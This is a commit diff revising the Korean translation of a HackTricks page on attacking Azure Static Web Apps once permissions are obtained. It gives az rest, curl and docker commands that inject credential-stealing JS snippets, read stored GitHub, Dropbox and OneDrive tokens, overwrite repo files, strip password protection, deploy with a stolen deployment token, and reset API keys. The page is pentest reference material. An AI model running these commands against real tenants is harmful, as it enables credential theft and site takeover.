mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -12,9 +12,9 @@
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
정적 웹 페이지가 임의의 HTML 코드를 로드하도록 스니펫을 생성할 수 있습니다. 이를 통해 공격자는 웹 앱 내부에 JS 코드를 주입하고 자격 증명이나 암호화 키(웹3 지갑에서)와 같은 민감한 정보를 탈취할 수 있습니다.
|
||||
snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 공격자가 web app 내부에 JS 코드를 주입하여 자격증명 또는 mnemonic keys (in web3 wallets)와 같은 민감한 정보를 탈취할 수 있게 합니다.
|
||||
|
||||
다음 명령은 웹 앱에 항상 로드될 스니펫을 생성합니다::
|
||||
다음 명령어는 web app에 의해 항상 로드되는 snippet을 생성합니다::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,22 +31,22 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### 구성된 제3자 자격 증명 읽기
|
||||
### 구성된 타사 자격 증명 읽기
|
||||
|
||||
App Service 섹션에서 설명한 바와 같이:
|
||||
As explained in the App Service section:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
다음 명령을 실행하면 현재 계정에 구성된 **제3자 자격 증명**을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자로부터 토큰에 접근할 수 없습니다.
|
||||
다음 명령어를 실행하면 현재 계정에 구성된 **타사 자격 증명**을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 대해 구성되어 있다면, 다른 사용자로부터 해당 토큰에 접근할 수 없습니다.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다.
|
||||
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 tokens를 반환합니다.
|
||||
|
||||
여기 토큰을 확인하기 위한 몇 가지 명령 예제가 있습니다:
|
||||
여기 tokens를 확인하기 위한 몇 가지 명령 예시가 있습니다:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### 파일 덮어쓰기 - 경로, HTML, JS 덮어쓰기...
|
||||
### 파일 덮어쓰기 - 경로, HTML, JS...
|
||||
|
||||
Azure를 통해 **Github repo** 내의 파일을 덮어쓸 수 있으며, 이는 **Github token**을 사용하여 다음과 같은 요청을 보내 파일의 경로, 파일 내용 및 커밋 메시지를 지정할 수 있습니다.
|
||||
Azure가 **Github token**을 사용해 다음과 같은 요청을 전송하면, 앱을 포함한 **Github repo 내부의 파일을 덮어쓸 수 있습니다**. 해당 요청은 덮어쓸 파일의 경로, 파일 내용 및 커밋 메시지를 지정합니다.
|
||||
|
||||
공격자는 이를 악용하여 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠를 제공하거나(자격 증명, 니모닉 키 도용 등) `staticwebapp.config.json` 파일을 덮어써서 특정 경로를 자신의 서버로 **재배치**할 수 있습니다.
|
||||
이것은 공격자가 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠(자격증명 탈취, 니모닉 키 등)를 제공하게 하거나, `staticwebapp.config.json` 파일을 덮어써 특정 경로를 자신의 서버로 **재라우팅**하는 데 악용될 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 공격자가 어떤 방식으로든 Github repo를 손상시키면, Github에서 직접 파일을 덮어쓸 수 있다는 점에 유의하십시오.
|
||||
> 공격자가 어떤 식으로든 Github repo를 손상시키는 데 성공하면, 해당 파일을 Github에서 직접 덮어쓸 수도 있다는 점을 유의하세요.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
이 권한을 사용하면 **정적 웹 앱을 보호하는 비밀번호를 수정**하거나 다음과 같은 요청을 보내 모든 환경의 보호를 해제할 수 있습니다:
|
||||
이 권한으로, 다음과 같은 요청을 전송하여 static web app을 보호하는 **비밀번호를 수정**하거나 모든 환경의 보호를 해제할 수 있습니다:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
이 권한은 정적 앱에 대한 **API 키 배포 토큰**을 가져올 수 있게 해줍니다:
|
||||
이 권한을 통해 static app의 **API key deployment token**을 얻을 수 있습니다.
|
||||
|
||||
az rest 사용:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
그런 다음 **토큰을 사용하여 앱을 업데이트**하려면 다음 명령을 실행할 수 있습니다. 이 명령은 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 작동 방식**을 확인하여 추출된 것으로, Azure에서 기본적으로 사용하도록 설정한 것입니다. 따라서 이미지와 매개변수는 미래에 변경될 수 있습니다.
|
||||
AzCLI 사용:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
그런 다음, **토큰을 사용하여 앱을 업데이트하려면** 다음 명령을 실행할 수 있습니다. 이 명령은 기본적으로 사용하도록 Azure가 설정한 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)가 어떻게 동작하는지 확인하여 추출한 것입니다. 따라서 이미지와 파라미터는 향후 변경될 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 앱을 배포하려면 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)에서 **`swa`** 도구를 사용하거나 다음의 원시 단계를 따르세요:
|
||||
> 앱을 배포하려면 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)의 **`swa`** 도구를 사용하거나 다음의 원시 단계를 따르세요:
|
||||
|
||||
1. 리포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 리포지토리)를 다운로드하고 `cd react-basic`을 실행합니다.
|
||||
2. 배포하려는 코드를 변경합니다.
|
||||
3. (변경할 `<api-token>`을 기억하세요) 실행하여 배포합니다:
|
||||
1. 레포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 레포지토리)을 다운로드하고 `cd react-basic`를 실행하세요.
|
||||
2. 배포하려는 코드를 변경하세요.
|
||||
3. 다음을 실행하여 배포하세요 ( `<api-token>` 를 변경하는 것을 잊지 마세요):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> 토큰이 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방법을 API 토큰을 사용하도록 변경할 수 있는 권한 `Microsoft.Web/staticSites/write`가 필요합니다.
|
||||
> 토큰을 가지고 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi token을 사용하도록 변경하기 위해 `Microsoft.Web/staticSites/write` 권한이 필요합니다.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
이 권한을 사용하면 **정적 웹 앱의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 Github Action에서 수행해야 하므로 자동으로 프로비저닝되지 않습니다.
|
||||
이 권한으로 **static web app의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 Github Action에서 수행되어야 하므로 자동으로 프로비저닝되지는 않습니다.
|
||||
|
||||
그러나 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 **새 소스 리포지토리에서 앱을 업데이트할 수 있습니다!**.
|
||||
하지만 **Deployment Authotization Policy**가 **Github**로 설정되어 있다면, **새 소스 리포지토리에서 앱을 업데이트하는 것이 가능합니다!**.
|
||||
|
||||
**Deployment Authorization Policy**가 Github로 설정되어 있지 않은 경우, 동일한 권한 `Microsoft.Web/staticSites/write`로 변경할 수 있습니다.
|
||||
만약 **Deployment Authorization Policy**가 Github로 설정되어 있지 않다면, 동일한 권한 `Microsoft.Web/staticSites/write`로 이를 변경할 수 있습니다.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +187,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
앱을 배포하기 위한 예제 Github Action:
|
||||
앱을 배포하기 위한 예시 Github Action:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
이 권한을 사용하면 **정적 웹 앱의 API 키를 재설정**하여 앱을 자동으로 배포하는 워크플로우를 잠재적으로 DoS할 수 있습니다.
|
||||
이 권한으로 **reset the API key of the static web app** 할 수 있으며, 자동으로 앱을 배포하는 워크플로우를 잠재적으로 DoSing할 수 있습니다.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
이 권한은 **특정 역할을 가진 사용자가 정적 웹 앱 내의 보호된 경로에 접근할 수 있도록 초대장을 생성**할 수 있게 해줍니다.
|
||||
이 권한은 특정 역할로 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자에게 **초대를 생성할 수 있도록 허용합니다**.
|
||||
|
||||
로그인은 `/.auth/login/github` (github의 경우) 또는 `/.auth/login/aad` (Entra ID의 경우)와 같은 경로에 위치하며, 사용자는 다음 명령어로 초대될 수 있습니다:
|
||||
로그인은 `/.auth/login/github` (github) 또는 `/.auth/login/aad` (Entra ID) 같은 경로에 위치하며, 다음 명령으로 사용자를 초대할 수 있습니다:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -266,12 +272,11 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
기본적으로 동일한 리포지토리의 브랜치에서 Pull Requests는 자동으로 컴파일되고 스테이징 환경에서 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한이 있는 공격자가 생산 브랜치(보통 `main`)의 브랜치 보호를 우회할 수 없지만 **악성 버전의 앱을 배포**하기 위해 악용될 수 있습니다.
|
||||
기본적으로 같은 repo의 브랜치에서 생성된 Pull Requests는 자동으로 컴파일되어 스테이징 환경에 빌드됩니다. 이는 repo에 대한 write access는 있지만 프로덕션 브랜치(보통 `main`)의 branch protections을 우회할 수 없는 공격자가 스테이징 URL에 **deploy a malicious version of the app** 하는 데 악용될 수 있습니다.
|
||||
|
||||
스테이징 URL의 형식은 다음과 같습니다: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 예: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> 기본적으로 외부 PR은 리포지토리에 최소 1개의 PR이 병합되지 않는 한 워크플로우를 실행하지 않습니다. 공격자는 리포지토리에 유효한 PR을 보내고 **그런 다음 악성 PR을** 리포지토리에 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 그러나 예상치 못한 보호가 있습니다. 정적 웹 앱에 배포하기 위한 기본 Github Action은 배포 토큰을 포함하는 비밀에 대한 액세스가 필요합니다(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), 배포가 IDToken으로 수행되더라도 말입니다. 이는 외부 PR이 이 비밀에 접근할 수 없고 외부 PR이 PR이 수락되지 않고 임의의 토큰을 여기에 배치하기 위해 워크플로우를 변경할 수 없기 때문에 **이 공격은 실제로 작동하지 않을 것입니다**.
|
||||
|
||||
> 기본적으로 external PRs는 최소 1개의 PR을 repository에 merge하지 않는 한 workflows를 실행하지 않습니다. 공격자는 먼저 유효한 PR을 repo에 보낸 뒤 **then send a malicious PR** 을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. HOWEVER, 예기치 않은 보호 장치가 있는데, static web app에 배포하는 기본 Github Action은 배포 토큰이 들어있는 secret(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)에 대한 접근이 필요합니다. 이는 배포가 IDToken으로 이루어지더라도 적용됩니다. 따라서 external PR은 이 secret에 접근할 수 없고, external PR만으로는 Workflow를 변경해 임의의 토큰을 넣을 수 없기 때문에, **this attack won't really work**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user